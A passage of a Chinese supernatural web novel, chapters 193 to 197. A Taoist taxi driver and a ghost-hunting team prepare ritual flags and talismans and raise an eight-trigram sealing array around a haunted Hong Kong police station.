谢潮找了把椅子坐下,接过周星星递过来的一瓶矿泉水,喝了一口,然后看向古德,语气认真地问道:
“阿德,东西都在这儿了,都是按你的单子找的,你看看对不对。接下来我们该怎么办?这次行动,还是由你来全权安排吧。”
他很自然地把指挥权交给了古德,毕竟在这种专业性极强的灵异事件面前,古德才是绝对的权威。
古德闻言,没好气地翻了白眼,语气带着点调侃:
“喂,阿潮!有没有搞错?你才是异灵灵异的正式阿头好不好?怎么每次这种情况,你就让我安排?工资你又没分我一半!”
他这当然是玩
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笑话。
谢潮脸上露出一个“你懂的”的坏笑,耸了耸肩,语气轻松地回应:
“能者多劳嘛!你要是愿意正式加入我们异灵灵异,我这个阿头的位置,随时可以让给你坐!我绝对举双手赞成!正好我可以轻松点,多点时间……陪陪我女朋友。”
他又旧事重提,显然是真想把这个烫手山芋甩给古德。
古德一听这话,连忙摆手,像是怕被什么缠上一样,赶紧转移话题:
“得得得!打住!当我没说!我还是开我的出租车比较自在!”
开什么玩笑,他可是要专注开出租车赚公里数的男人!
清了清嗓子,古德神色一正,目光扫过所有人,开始布置任务,声音清晰而沉稳:
“好了,说正事。今晚的行动,关键在于布阵。我计划布置一个‘八卦缚灵镇煞大阵’。”
他看到周星星等人脸上露出茫然和好奇的神色,便简单解释道:
“这个阵法,以八卦易理为根基,融合符箓之力、法器之威,目的是在目标区域。
也就是警署外围,形成一张巨大的、无形的‘天罗地网’!进可攻,退可守,既能封锁鬼域,防止里面的东西逃窜,也能持续削弱和**其中的邪祟!”
他顿了顿,进一步说明选择此阵的原因:
“这次的情况和上次在岛上不同。岛上那个盆地,地势开阔,易于布置大型复合阵。而警署位于民区,周围环境复杂,空间受限。
所以,我们需要一个更精巧、更依靠人力和配合的阵法。八卦阵变化多端,正好适合在这种环境下发挥威力。”
周星星虽然听得半懂不懂,但捕捉到了“需要所有人参与”这个关键信息,立刻拍了拍胸脯,大大咧咧地表态:
“德仔!你就直说需要我们干什么吧!反正那些八卦五行、奇门遁甲的大道理我们也不懂!你指东,我们绝不往西!你让我们撵狗,我们绝不抓鸡!”
周星星的比喻虽然不恰当,但是很接地气,还把大家都逗笑了,气氛顿时轻松了不少。
第193章 布阵前的准备工作
古德也被他逗笑了,点了点头:
“好!要的就是你这句话!”
他走到那堆材料前,话锋一转:
“不过,在正式布阵之前,我们得先准备好布阵的核心,就是阵旗和法器。这些东西,需要大家齐心协力,一起动手制作!最后再由我统一开光启灵,赋予它们真正的威力!”
一听要亲手参与制作法器,谢潮、于子朗等人都露出了感兴趣的表情。
这可比单纯地执行命令要有意思多了,也能更深入地了解其中的门道。
周星星更是眼睛一亮,兴奋地凑上前问道:
“德仔!具体要我们怎么做?是不是像电影里那样,滴血认主啊?还是要念什么咒语?”
他的思维总是充满跳跃性和戏剧性。
古德哭笑不得地看了他一眼:
“你想得美!还滴血认主……你当是拍仙侠片啊?”
他不再卖关子,开始分配具体任务。
他先是慢悠悠地走到那堆木材前,目光如电,仔细地审视着每一根木料的纹理、色泽和蕴含的灵性。
突然,他脚尖看似随意地在一根长约六尺、笔直匀称、纹理细腻、散发着淡淡幽香的黄花梨木下端轻轻一挑!
随着他轻轻一挑,那根沉重的木材竟轻巧地被挑飞起来,在空中划出一道优美的弧线!
古德伸手一抄,稳稳接住,顺势还挽了一个利落的棍花!
动作行云流水,举重若轻,仿佛手中的不是沉重的木材,而是一根普通的竹竿!
这一手,顿时让周星星等人看得眼前一亮。
“嗯,木质紧密,油性足,年份够,灵性也足。是块好料子,适合做主阵旗的旗杆。”
古德满意地点了点头,将木材轻轻放下。
接着,他又拿起一匹用油纸仔细包裹的布料,小心翼翼地揭开。
当布料完全展开时,就连见多识广的古德,眼中也闪过了一丝难以掩饰的惊讶!
这布料入手丝滑冰凉,光泽内敛却华贵,质地紧密厚实,上面有着暗纹云锦,正是最上等的真丝贡缎!
“啧啧……”
古德忍不住咂舌,用手指轻轻摩挲着布面,语气带着几分不可思议:
“阿潮,你们是从哪个仓库角落里把这宝贝翻出来的?这可是正经的宫廷御用贡缎啊!放在古代,那是给皇帝做衣服的料子!
纤维由春蚕吐丝而成,蕴含生命蜕变之灵机,最能承载和传导灵力!那些洋鬼子,居然把这种东西丢在仓库里吃灰?真是……暴殄天物啊!”
他心疼得直摇头,仿佛看到了明珠蒙尘。
欣赏完布料,古德抬起头,对谢潮吩咐道:
“阿潮,还得麻烦你件事。找几个可靠的人,把我从这些贡缎里挑出八块,分别染成八种不同的颜色。”
他屈指数道:“要黄、黑、青、赤、白这五正色,以及紫、绿、绀(一种红青色)这三间色。颜色务必纯正,不能有偏差。这关系到阵法对应八卦方位的属性能量,马虎不得。”
谢潮虽然不太明白颜色的具体含义,但看古德说得如此郑重,立刻点了点头:
“明白!我马上安排!”
他走到一旁,拿出那个刚开发出来的翻盖手机,开始打电话联系专人处理染色的事情。
安排完布料,古德转向核心的准备工作。
他神色严肃地对众人说:“接下来,是最关键的一步,为这些材料‘注灵’。”
他指着那些精选出来的八根黄花梨木旗杆和八块即将染色的贡缎面料,解释道:
“这需要你们之中法力修为还算可以的几位,阿潮、阿星、子朗,还有小马哥轮流运用你们的法力,缓缓地、均匀地去浸润和滋养这些旗杆和面料。”
“啊?!”
周星星一听这话,脸瞬间垮了下来,发出杀猪般的惨叫:
“不是吧德仔!你这是要我的老命啊!我那点微末的法力,自己用着都紧巴巴的,像挤牙膏一样!还要去泡木头和布?这得泡到猴年马月啊?!万一我法力耗尽,虚脱倒地怎么办?”
他表情夸张,仿佛听到了什么惨绝人寰**的命令。
高彦博和郑立脸上也露出了惭愧和为难的神色。
高彦博推了推眼镜,有些不好意思地开口:
“阿德,我和阿立……我们修炼时间短,体内的法力还非常只是雏形,恐怕……帮不上什么大忙。”
郑立也在一旁连连点头。
古德看着他们,笑了笑,语气缓和地解释道:
“别急,听我说完。我让你们这么做,不仅仅是为了给材料注灵,同时也是对你们自身法力的一种锤炼和提升!”
他看向周星星:“阿星,你一边输出法力,一边要运转我教你们的《基础呼吸法》!”
他强调道:“这样做,虽然短时间内会消耗大量法力,让你感到疲惫,但呼吸法会加速你们恢复法力的速度!这就好比锻炼肌肉,先撕裂,再生长!
每一次耗尽法力后的恢复,都会
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让你们的法力上限得到一丝提升,控制力也会更加精细!这可是难得的修炼机会!”
周星星听完解释,脸上的苦瓜相稍微缓和了一些,若有所思地摸了摸下巴:
“哦……原来是练功啊!你怎么不早说!早说我就不叫那么惨了嘛!”
他变脸比翻书还快,立刻又来了精神。
古德又转向高彦博和郑立,安排道:
“彦博哥,阿立,你们法力尚浅,参与注灵确实勉强。你们有更重要的任务。”
他指着另外一堆材料:“你们负责辅助我,处理这些朱砂、墨斗线、灯油和金粉。”
他详细吩咐:“彦博哥,你心思细,负责研磨朱砂。要按古法,加入晨曦的露水和少许雄鸡冠血,在玉碗中顺时针研磨三千六百圈,不能停,不能急,直到朱砂细腻如脂,红光内蕴为止。”
“阿立,你手稳,负责整理和祭炼这些墨斗线。用特制的**血混合朱砂的液体,将墨斗线浸泡后用吹风机加热半个小时,然后取出阴干。”
用吹风机加热,是因为时间紧急,不过效果不会差到太多,古德也是与时俱进。
“还有灯油,需要用百年柏子油做底,加入檀香粉、沉香料,文火慢熬一个小时,不能糊,不能焦。”
高彦博和郑立一听,任务如此繁复且有明确标准,顿时感到了压力,但也激发了他们的认真劲。
两人对视一眼,郑重地点了点头:“明白了!阿德你放心,我们一定尽力做好!”
“好!”
古德见任务都已分配完毕,最后拍了拍手,目光扫过众人,声音提高了一些,充满干劲地说道:
“时间紧迫,子时之前,我们必须完成所有的准备工作!现在——动起来吧!”
随着他一声令下,原本还有些喧闹的客厅,瞬间变成了一个紧张而有序的手工作坊。
谢潮、周星星、于子朗、马季四人围坐在那八根旗杆和八块面料旁,屏息凝神,开始尝试着将自己的法力,如同涓涓细流般,小心翼翼地灌注到手中的材料之中。
淡淡的、颜色各异的微光从他们手心散发出来,笼罩着木材和布料。
而高彦博和郑立,则在古德的指导下,开始了更加需要耐心和细心的材料预处理工作。
研磨声、浸泡声、以及低声的交流声在客厅里回荡。
古德自己也没闲着,他需要绘制此次布阵所需的核心符箓,并统筹全局,随时指导和纠正大家的操作。
第194章 马季和石敢当的好友
农历七月十四,亥时,晚上九点刚过。
夜色如墨,将香江的高楼大厦吞噬,只留下零星闪烁的的霓虹灯牌。
白日的喧嚣早已沉寂,街道上行人稀疏,偶尔有出租车悄无声息地滑过,带起一阵微弱的风声。
而在金麦基的警署所在的这条相对僻静的街道,气氛则显得格外不同。
一阵阵不知从何而来的阴风,打着旋儿地吹过,卷起地上的落叶和纸屑,发出“沙沙”的、令人心烦意乱的声响。
路灯的光在这里也显得特别昏黄暗淡,好像被一层看不见的薄纱罩住了,照下来的影子都是扭曲的、模糊的。
那栋维多利亚风格的老警署,在夜色里像一头受了伤趴着的巨兽,沉默地蹲在那儿,散发着让人心头发紧的压抑感。
整栋楼黑漆漆的,只有门口那盏孤零零的白炽灯还亮着,但那光弱得可怜,不但驱不散黑暗,反而更添了几分诡异。
这时候,警署大门前三四丈远的空地上,静静地站着一群人。
为首一人,正是古德。
他今夜没有穿那些花里胡哨的运动服,而是换上了一身裁剪合体、质地精良的黑色长款风衣,风衣的立领竖起,遮住了小半张脸,让他平添了几分神秘与冷峻。
他身姿挺拔,背上斜背着一个看起来颇为沉重、样式古朴的黑色大型琴盒,里面装着的,自然是他那些吃饭的家伙。
这里需要说明一下,古德为何不穿传统的道袍。
其一,他并无正统的道门师承,上一世在那个更像是“职业技术培训学院”的道教学院里混日子时,穿的也仅仅是最普通的蓝色棉布道服,更多是形式大于内容。
其二,他如今这一身本事,十之七八来自于出租车系统的直接加点灌注,走的是系统流的路线。
因此,他对穿道袍并没有太深的执念。
在他看来,衣服嘛,干净利落、行动方便就好,关键是有没有真本事。
当然,若是遇到某些特别讲究仪式感”的场合,他也不介意换身行头唬唬人,但显然不是今晚这种需要真刀**干架的场面。
在古德身后,整齐地肃立着两排人马。
靠前的一排,是以谢潮、周星星为首的异灵灵异核心行动组成员。
谢潮、周星星、于子朗、马季、高彦博和郑立。
他们六人清一色穿着量身定制的黑色皮质作战服,并非紧身皮衣皮裤那么夸张,而是更偏向战术功能性的设计,面料坚韧,关键部位还嵌有轻薄的防护甲片。
仔细看去,皮衣的某些边缘和内衬上,还用特殊的银色丝线绣着一些简约而玄奥的符文,隐隐流动着微光,显然是经过了纸扎陈的特殊处理,具备一定的辟邪和防护效果。
每人手里都拿着一把还没撑开的黑色特制雨伞,这就是纸扎陈最新搞出来的驱邪照明伞。
后面一排人更多,是后勤组的,带头的是莫作栋,他们也穿着统一的黑色制服,但料子和设计就普通多了。
他们主要负责搬布阵要用的各种材料工具,还有在外围警戒和联络。
古德之前看到谢潮他们这身黑超特警组般的行头时,不仅吐槽:
‘好家伙,知道的以为我们是来抓鬼的,不知道的还以为你们是来给哪个社团大佬集体送葬的呢!’
不过他也承认,这身行头在夜间行动时,确实够低调,也颇有气势。
古德正琢磨着接下来的行动安排,不远处忽然传来一阵脚步声。
在这寂静的夜里,这声音格外清晰,其中一个脚步声特别清脆,一听就是高跟鞋的声音。
古德眉头一皱,这块地方不是早就清场了吗,怎么这个点还有人过来?
大家都被这突如其来的脚步声吸引了注意力,齐刷刷转头朝声音来源望去。
只见一个身材高挑的女生正朝这边走来。
她穿着一件粉色的连衣裙,留着一头大波浪长发,长相甜美可爱,脚上踩着一双高跟鞋,走起路来嗒嗒作响。
她身后跟着一个微胖的男人,扛着摄像机,戴着眼镜,一副标准的摄影师打扮。
最让人意外的是,这女人旁边还走着石敢当。
石敢当今晚穿着一身白色中山装,蘑菇头发型衬得他笑容格外灿烂。
不过石敢当走路向来没声音,所以大家刚才只听到两个人的脚步声。
石敢当老远就看见古德在盯着他们,立刻挥着手大声喊道::"阿德,阿德,我来了。"
古德嘴角不由自主地抽动了一下。
石敢当这搞的是什么名堂,怎么带个摄影师过来?
他身后的马季突然"咦"了一声,脱口喊道:"贝贝!"
然后急忙走出队伍迎上去,跟那个女生低声交谈了几句,一脸无奈地走回来。
马季先无奈地看了眼石敢当,然后转向古德和大家解释道:
"阿德,这是贝贝娜,我和石敢当的朋友。她是一档灵异节目的主持人,听石敢当说我们这儿有灵异事件,非要来采访拍摄。"
周星星一看马季这副模样,立刻八卦地凑过来问道
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:"哦~真的只是朋友吗?"
马季直接甩给他一个白眼,懒得搭理。
他一直把贝贝娜当妹妹看待,这个关系很纯粹。
贝贝娜倒是落落大方,主动跟众人打了个招呼,然后露出一副可怜兮兮的表情,询问能不能让她记录一下现场情况。
古德这时终于想起这个贝贝娜是谁了。
说起来也是可惜,其实贝贝娜比起那个女医生,更适合马季。
剧情中她为了保护马季而死,马季其实也对贝贝娜动了真情。
从马季后来那句"无聊时想起的人才是最重要的人"就能看出来。
不过今晚这个地方,真的不适合这个小姑娘待着。
虽然马季目光恳求的看着他。
虽然马季用恳求的目光看着他,古德还是摇了摇头,语气坚定地说:
"小马哥,今晚这个地方太危险了。除非你不参与行动,在外面保护她。鬼域一旦爆发,那些阴气会吸引外面的游魂野鬼前来,你确定要让你的朋友待在这种危险环境里吗?"
马季脸色顿时变了变。
确实,现在留在这里的人都是经过专业训练的,身上都配备着纸扎陈特制的护身法器和灭魂枪。如果贝贝娜留在这里,万一出事后果不堪设想。
想到这,马季点了点头,转向贝贝娜和石敢当说:
"贝贝,你也听到了,这里很危险,和我们之前遇到的小打小闹完全不同。"他
又看向石敢当,语气带着责备:
"石敢当,这次你真不应该带贝贝过来。"
石敢当听了古德的话,脸上露出愧疚的神色。
但一看到贝贝娜那恳求的眼神,他又心软了,试探着说:
"小马,阿德,就让贝贝留下吧,我会保护她的。"。”
马季听了只能无奈地叹了口气。
古德耸了耸肩,石敢当这人有时候就是一根筋,还是个追星族,不过这个小姑娘的胆子也确实够大的。
谢潮面色严肃地插话道:"石敢当,那你就留下来保护她们,但是记住不要乱跑。"
古德看了看时间,打断他们的对话:"时间差不多了,石敢当你带你朋友去后勤部那边。"
石敢当点了点头,带着贝贝娜和摄像师朝后勤组的方向走去。
等这个小插曲处理完毕,古德重新凝神静气,目光如炬,紧紧盯着前方那座被浓郁阴气笼罩的警署。
第195章 寻找布阵的节点
古德的手中不知何时托着一个铜质罗盘,罗盘上的天池中,那枚灵敏的磁针并非稳定地指向南北,而是在剧烈地、无规则地颤抖、摇摆着。
指针尖端死死地在代表北方(坎卦,属水,主险陷)和东北方(艮卦,属山,主静止)的两个卦位之间来回摆动,仿佛被一股无形的力量疯狂拉扯!
“阴气已经凝结得如同实质了……”
古德低声自语,声音在寂静的夜里显得格外清晰。
“连地脉之气都被严重污染。”
他的语气平淡,但熟悉他的人能听出其中蕴含的凝重。
他微微侧头,对身旁的谢潮说道:
“阿潮,这次你们发现得还算及时。若是再拖上一晚,等到明天……”
他顿了顿,没有把话说完,但意思不言而喻。
恐怕里面的东西就要彻底爆发,冲出牢笼了。
到那时,再想收拾,难度和代价将会呈几何级数增长。
说话间,古德眼中淡金色的光芒微微一闪,法眼全力开启。
在他此时的视野中,前方的警署早已不是普通的砖石结构建筑,而是被一股浓稠如墨、翻滚不休的庞大黑气完全包裹!
这黑气如同活物般蠕动着,时而收缩时而膨胀,仿佛一个巨大的黑色心脏在跳动。
黑气之中,隐约可见无数扭曲、痛苦、充满怨恨的狰狞面孔时隐时现。
这些面孔有的双目流血,有的舌头外露,有的头颅破裂,个个面目可怖。
它们张着嘴发出无声的嘶嚎,那无声的哀嚎反而更让人心悸。
警署建筑本身所携带的那点微弱的、代表公门正气的淡黄色光晕,在这滔天怨气的侵蚀下,已经黯淡得几乎看不见。
那点微光在浓密的黑气中艰难地闪烁着,如同狂风中的残烛,随时可能熄灭。
‘情况比谢潮描述的还要严重得多……’古德心中凛然,眉头不自觉地皱了起来。
他能感觉到,这绝非普通的鬼蜮那么简单。
他不由得想起了关于“大型鬼域”的记载。
那是海量怨气凝聚、侵蚀现实规则后形成的一片独立的、充满死亡和混乱法则的异度空间。
一旦爆发,其危害范围和强度,将远超一般的百鬼夜行!
不过,这种程度的危机,倒也在古德的预料之中。
毕竟,能够孕育出强大鬼物的地方,怎么可能只是电影里演的那种、靠几个搞笑角色就能轻松解决的?
只是电影为了剧情需要,将其简化甚至弱化了而已。
现实往往比故事残酷和复杂得多。
任何能够形成鬼域的所在,其背后必然隐藏着极其深厚的怨念和强大的邪物,绝不容小觑!
就像他之前调查后知道的,那个关于美姨和黄山村的地点,那里也是一个恐怖的鬼域。
‘幸好,我也不是毫无准备。’古德深吸一口气,将心中的杂念压下。
他目光重新变得坚定而锐利。
“阿潮,阿星,准备布阵。”古德沉声下令,语气不容置疑。
古德抬手打了个清脆的响指,莫作栋立刻会意,带着几个后勤部的年轻人一起,合力抬着两个木箱上前。
箱子里整齐地插放着一面面阵旗,每面旗帜都散发着淡淡的气息。
古德伸手从箱子最中央的位置,抽出了一杆特别显眼的主阵旗。
这面旗长约五尺,旗杆是用百年黄花梨木精心打磨而成,入手沉重而坚韧。
杆身上用朱砂从头到尾书写着对应方位的神君名号,笔迹苍劲有力。
主阵旗的旗面是染成玄黑色的特等真丝贡缎,手感光滑细腻。
旗面中心用掺了金粉的朱砂绘制着对应的卦象,周围以云篆书写《北斗经》中对应章节。
此刻在昏暗的光线下,旗面正隐隐散发着微弱的灵光。
古德手握旗杆,迈开沉稳的步伐,率先踏入了警署前院的范围内。
他每一步都走得很稳,仿佛在丈量着脚下的土地。
谢潮和周星星立刻紧随其后,两人的表情也都变得严肃起来,之前的嬉笑神色一扫而空。
于子朗和马季、郑立、高彦博则稍微落后半步,呈警戒姿态分散在四周,警惕地观察着周围的动静。
一踏入前院的范围,一股远比外面更加阴冷、潮湿、带着浓重霉味和腐朽气息的空气扑面而来,让人忍不住打了个寒颤。
脚下的泥土松软而粘腻,带着一种不正常的、渗入骨髓的寒意,仿佛踩在浸透了尸水的沼泽上。
古德屏息凝神,将周身法力缓缓收敛,避免过早惊动里面的存在。
他再次将那个古旧罗盘平托于左手掌心,体内那已臻至通幽境的雄浑法力,如同温顺的溪流注入到罗盘之中。
“天地定位,山泽通气。雷风相薄,水火不相射。八卦相错,数往者顺,知来者逆。”
古德步伐以一种奇特而规律的轨迹缓缓移动,时进时退,时左时右。
寻找在这片已被阴煞之气严重污染的土地上,寻找着那唯一尚存、尚未被完全侵蚀的“生气点”,也就是这片区域的地脉灵机枢纽所在。
只有找到这个点,才能以此为核心,布下阵法的“太极”之位,借用地脉残余的灵性力量,来对抗和净化这滔天的怨气。
这个过程需要极大的耐心和精准的感知力。
罗盘的指针依旧在疯狂摆动,受到强烈阴气干扰,极难定位。
古德的额头渐渐渗
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出了细密的汗珠,但他眼神依旧专注而坚定。
时间一分一秒地过去,夜色愈发深沉。
周星星有些不安地挪动了一下脚步,被谢潮用眼神制止。
终于,当古德绕到前院中央、一棵早已枯死、枝干扭曲如同鬼爪的老槐树下时,他手中的罗盘猛地一震!
那枚一直狂躁不安的磁针,竟奇迹般地缓缓稳定了下来,针尖微微颤抖着,最终指向了一个特定的方位,并且散发出一种微弱的、但确实存在的平和气息!
“找到了!就是这里!”古德眼中精光一闪,低喝一声!
他停下脚步,右脚在枯槐树下一块看似寻常的土地上,用力一踏!
“以此点为‘太极’,定八方之位!”
古德声音清朗,在寂静的夜空中传开!
他并指如剑,指尖隐约有金光流转,猛地指向自己脚下!
“行动!”
谢潮立刻会意,转身对后方待命的后勤组打了个手势。
几名后勤人员立刻抬着一个沉重的木箱上前,迅速打开。
里面是八根早已准备好的、长约三尺三寸、粗细均匀、表面打磨光滑的百年桃木桩!
桃木本身天生具有克制阴邪的特性,是制作镇物、法器的上佳材料。
这些桃木桩不需要额外刻画符文,其本身的阳刚正气就足以作为阵法基桩,稳定一方气场,所以古德并没有让谢潮下午带来,只是让他提前备好。
周星星、于子朗、马季、高彦博四人,每人拿起两根桃木桩,根据古德之前通过罗盘测算、并快速告知他们的八个特定方位。
乾(西北)、坤(西南)、震(东)、巽(东南)、坎(北)、离(南)、艮(东北)、兑(西)。
他们迅速而准确地跑到相应的位置。
“钉下去!”
古德站在太极位,沉声指挥。
四人闻言,运足力气,将手中尖锐的桃木桩,对准标记好的点位,狠狠地、垂直地钉入地面!
“咚!咚!咚!咚……”
沉闷的撞击声在寂静的夜里接连响起,如同敲响了战鼓!
然而,就在第一根桃木桩(位于西北乾位)深深钉入土中的瞬间——
“嗷——!!!”
一声极其微弱、却尖锐刺耳、充满了无尽怨毒和愤怒的嘶鸣,仿佛从极深的地底传来,清晰地钻入了古德以及谢潮等人的耳中!
那声音不似人声,更像是什么被惊扰发出的警告和威胁!
古德感受到脚下土地传来的一丝微弱震动,嘴角却勾起了一抹冷冽的弧度。
“呵,反应这么激烈?看来是戳到你们的痛处了。”
他冷笑一声道:“继续下桩,他们现在还出不来!”
第196章 入局起阵
随着古德一声令下,周星星、于子朗、马季、高彦博四人不敢怠慢,运足力气,抡起特制的大号木槌。
“咚!咚!咚!”地将其余七根桃木桩,依次狠狠地、深深地钉入了指定的方位土壤之中。
沉闷有力的撞击声在死寂的夜里回荡,每一声响起,都仿佛敲在众人的心头上,带来一种奇异的安定感。
同时也让地底那若有若无的怨毒嘶鸣变得更加焦躁和密集。
古德站在中央的“太极”位上,微微闭目,仔细感受着八根桃木桩打入后,这片区域气场发生的细微变化。
一股微弱但确实存在的阳和正气,开始以八根桃木桩为基点,缓缓滋生、串联,虽然依旧被庞大的阴气压制着。
但这八根桃木桩就像在漆黑的夜幕中点燃了八盏微弱的灯火。
“基础阵基算是稳住了。”
古德睁开眼,点了点头,语气沉稳。
但这仅仅是第一步,如同盖房子只打下了地基。
接下来,是要在警署的外围,画下一个“圈”,一个任何灵体都无法逾越的绝对边界,将整个目标区域初步封锁隔离开来。
“后勤一组、二组!”
古德拿起一个便携式对讲机,声音清晰而冷静地下达指令:“按预定方位,散开!各就各位!”
“一组收到!”
“二组收到!”
对讲机里传来干脆利落的回应。
只见十六名身着统一黑色制服、训练有素的后勤部队员,两人一组,无声无息地、却又迅捷无比地朝着警署外围的八个不同方向。
即八卦的八个方位飞奔而去。
他们的动作整齐划一,显然经过反复演练。
这些队员都是谢潮从各个部门精挑细选出来的好手,根骨和心性都经过考验,并且全部修炼过古德传授的《基础呼吸法》。
虽然大多数人仅仅修炼出了一丝微弱的“法力种子”,不像谢潮周星星修行的如此快速。
而且距离施展法术还差得远,但正是这一点源自自身生命精元的纯阳种子,使他们成为了承载和传导阵法力量的绝佳人选。
他们的存在,能将阵旗的力量更稳定、更灵活地锚定在现实空间。
每一组的两名队员,分工明确。
一人手中紧握着一杆精心制作的小型【八卦镇灵副旗】。
旗杆是下午刚刚用百年黄花梨木赶制而成,入手沉实,旗面则是对应各自方位的特定颜色的真丝贡缎,在昏暗的光线下流淌着柔和的光泽。
旗面上,用掺入了金粉的顶级朱砂,绘制着对应各自卦象的符文,此刻隐隐散发出若有若无的灵光,在暮色中如同呼吸般明灭不定。
另一人则背负着纸扎陈出品的特制【金刚伞】,伞骨坚硬,伞面据说融入了特殊的金属丝线,对灵体攻击有不错的防御效果。
同时,他们腰间的枪套里,还配备着装满了特制“破邪**”的**。
这些**弹头经过特殊处理,刻有微型符文,虽然对付厉鬼效果有限,但对付一些幽魂野鬼,怨灵之流,还是能起到不错的阻击和驱散作用。
他们的任务是保护阵旗,并应对可能从阵法内围渗透出来的零星威胁。
“乾位就位!”
“坎位就位!”
“艮位就位!”
“震位就位!”
……
对讲机的公共频道里,接连传来了八组队员简洁而清晰的报告声,在寂静的夜里显得格外清晰。
古德站在中央,凝神静气。
他虽然看不见远处队员的身影,但能清晰地感受到,随着队员们就位,并开始按照他传授的方法,运转呼吸法,将自身那微薄的气与手中的阵旗沟通,八个方位上,八股微弱但坚韧的“势”正在逐渐凝聚、升腾!
仿佛八颗星辰,即将点亮,与中央的太极位遥相呼应。
“就是现在!”
古德眼中精光一闪,毫不犹豫地通过对讲机下达了指令:“所有人注意——立旗!”
与此同时,他也对守在八根桃木桩旁的周星星四人下令:
“阿星,你们也动手,将副旗插入木桩顶端!”
指令既出,八方联动!
几乎在同一瞬间,外围的八组后勤队员,同时将手中的【八卦镇灵副旗】的金属旗纂,对准脚下预设的,刻画了简单导灵符文的地面凹槽,用尽全力,稳稳地插了下去!
而谢潮四人,也立刻行动,将另外八面大一号的【八卦镇灵旗】,旗杆底部的特制铜扣,精准地套入早已固定在桃木桩顶端的铜制接口中,用力旋紧、固定!
“噗!噗!噗……”
十六声沉闷而坚实的入地声和卡扣锁死声,几乎不分先后地响起,汇成一道合鸣!
就在内外十六面旗幡同时立定的刹那——
古德动了!
他双手在胸前快速翻飞,结出一个用于引导和放**力,沟通天地之力的“八卦印”!
“嗬!”
古德低喝一声,不再压制体内奔腾的法力!
他那已达“通幽境”的精纯法力,如同蓄势已久的洪流终于冲开了闸门,奔涌而出!
跟那八根桃木桩构成的
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微弱地脉链接,以及他与十六面主副阵旗之间建立了精神联系!
他深吸一口气,声如洪钟,朗声诵念起布阵的真言,每一个字都清晰无比,蕴含着法力,在夜空中远远传开:
“乾天朗朗,覆护吾身!”
“坤地方厚,承载万灵!”
“震雷霹雳,荡涤妖氛!”
“巽风浩荡,驱散邪精!”
“坎水滔滔,洗涤污秽!”
“离火煌煌,焚尽阴邪!”
“艮山巍巍,**不祥!”
“兑泽茫茫,困锁幽冥!”
“八卦成列,各守一方!锁域封疆——阵起!”
随着他最后一声“阵起!”喝出——
“嗡——!!!”
一声低沉浑厚嗡鸣声,猛地以警署为中心,向四面八方扩散开来!
整个地面都随之轻微一震!
下一刹那,奇景显现!
只见天空投来阵阵星光,与此同时那外围八面主旗和内部八面副旗的十六面八卦镇灵旗,也爆发出璀璨夺目的光华!
八道常人所看不见的清光自旗幡顶端冲天而起,和星光交融在一起!
这八道清光在空中迅速延伸、交织,瞬间便展开形成了一张覆盖了整个警署区域的半透明八卦光幕!
光幕如同一个倒扣的、巨大无比的琉璃碗,将警署严严实实地笼罩在内!
光幕的“碗壁”上,无数由能量构成的八卦符文如同活物般流转不息、明灭闪烁,散发出一种庄严、肃穆、不容侵犯的强大气息!
八卦缚灵镇煞大阵外围封锁结界,成!
几乎就在这八卦光幕成型的同时——
“砰砰砰!!!”
“嗷呜——!”
“嘶嘶嘶……!”
“还我命来——!”
“我要把你们都杀死——!”
一阵密集得如同雨点般的、令人头皮发麻的撞击声,夹杂着无数凄厉、怨毒、疯狂的嚎叫与嘶鸣,猛地从被光幕笼罩的警署内部爆发出来!
只见光幕之内,原本漆黑一片的警署窗户后、大门缝隙中,瞬间涌现出无数扭曲、模糊、张牙舞爪的鬼影!
显然,警署底下的小日子鬼们,感受到了这股将它们彻底囚禁起来的力量,在极度的愤怒驱使下,开始了歇斯底里的反扑!
古德站在阵外,冷冷地看着光幕内群魔乱舞的景象,嘴角勾起一抹不屑的冷笑。
“看来鬼蜮也松动了,不过这样就急了?”
他低声自语,语气带着几分嘲讽。
“不过是刚起阵而已。好戏……还在后头呢!”
第197章 阵成,准备关门打狗
外围的八卦光幕主要是封锁和隔绝,防止里面的东西逃出来,也阻止外面的阳气过度刺激它们。
但要真正地压制、削弱、乃至最终消灭它们,还需要在结界内部,构建阵法的“经络”和“穴位”。
也就是能量流动的通道和强化节点。
古德不再迟疑,伸手从旁边谢潮拿着手里的箱子里,取出了那卷下午特意准备好的、浸泡过**血与赤硝的墨斗线。
这卷墨斗线线身呈现出一种暗红色,触手冰凉,但仔细感受,又能察觉到一丝丝灼热的气息在内部流动。
这是阴阳兼具,破邪镇煞的效果。
古德先将墨斗的线头,小心翼翼地系在了中央那棵作为“太极”位的枯死老槐树的树干上,用力拉紧。
然后,他手握墨斗,迈开脚步,朝着东方代表“震”卦的桃木桩走去。
他的每一步都踏在了一种无形的、玄妙的气场节点上。
脚下能感受到地气传来的微弱抵抗和紊乱,那是被**的阴气在做最后的挣扎。
但他步伐稳定,身形如岳,法力在体内缓缓运转,将一切干扰排斥在外。
走到东方桃木桩前,古德屏息凝神,左手稳稳持住墨斗,右手拇指和食指捏住墨线,运足腕力,对准桃木桩的中段,猛地一弹!
“嘣——!”
一声清脆而富有弹性的响声响起!暗红色的墨线如同拥有生命一般,准确地、紧紧地缠绕在了东方桃木桩上!
“一弹定东方,甲乙青龙镇邪风!”
就在墨线缠上木桩的瞬间,线上骤然泛起一层微不可见、但却真实存在的赤红色毫光!
同时,木桩本身也轻轻一震,散发出的阳和之气似乎增强了一分!
古德身形不停,步履如风,开始以中央槐树为起点,穿梭游走于八根桃木桩之间!
“嘣!二弹定南方,丙丁朱雀焚秽踪!”
“嘣!三弹定西方,庚辛白虎肃杀锋!”
“嘣!四弹定北方,壬癸玄武御寒冰!”
“嘣!五弹定东北,艮山止煞定中宫!”
“嘣!六弹定西南,坤土载物厚德彰!”
“嘣!七弹定西北,乾天刚健破迷茫!”
“嘣!八弹定东南,巽风入秽百邪荡!”
每弹出一道墨线,都伴随着一句相应方位的真言敕令!
暗红色的墨线在空气中纵横交错,不断延伸、连接,最终在八卦光幕的内部,构成了一个更加复杂、更加精密的,将整个警署建筑都包裹在内的、立体的巨大八卦能量网络!
当最后一道连接“坤”位的墨线弹完,并牢牢系在木桩上时——
“嗡……!”
所有的墨线,仿佛同时被接通了高压电流,骤然亮起一阵耀眼的赤红色光芒!
红光沿着墨线构成的网络飞速流转,如同血液在血管中奔腾!
整个能量网络清晰地显现了一刹那,随即红光迅速内敛,再次隐没于空气之中,肉眼再也看不见。
但古德,以及阵眼处的谢潮等人,都能清晰地感觉到一张无形的,充满了肃杀之气和禁锢力量的能量大网,已经彻底结成!
这张网与外围的八卦光幕紧密结合,相辅相成,使得整个阵法的稳固性和攻击性都大大增强!
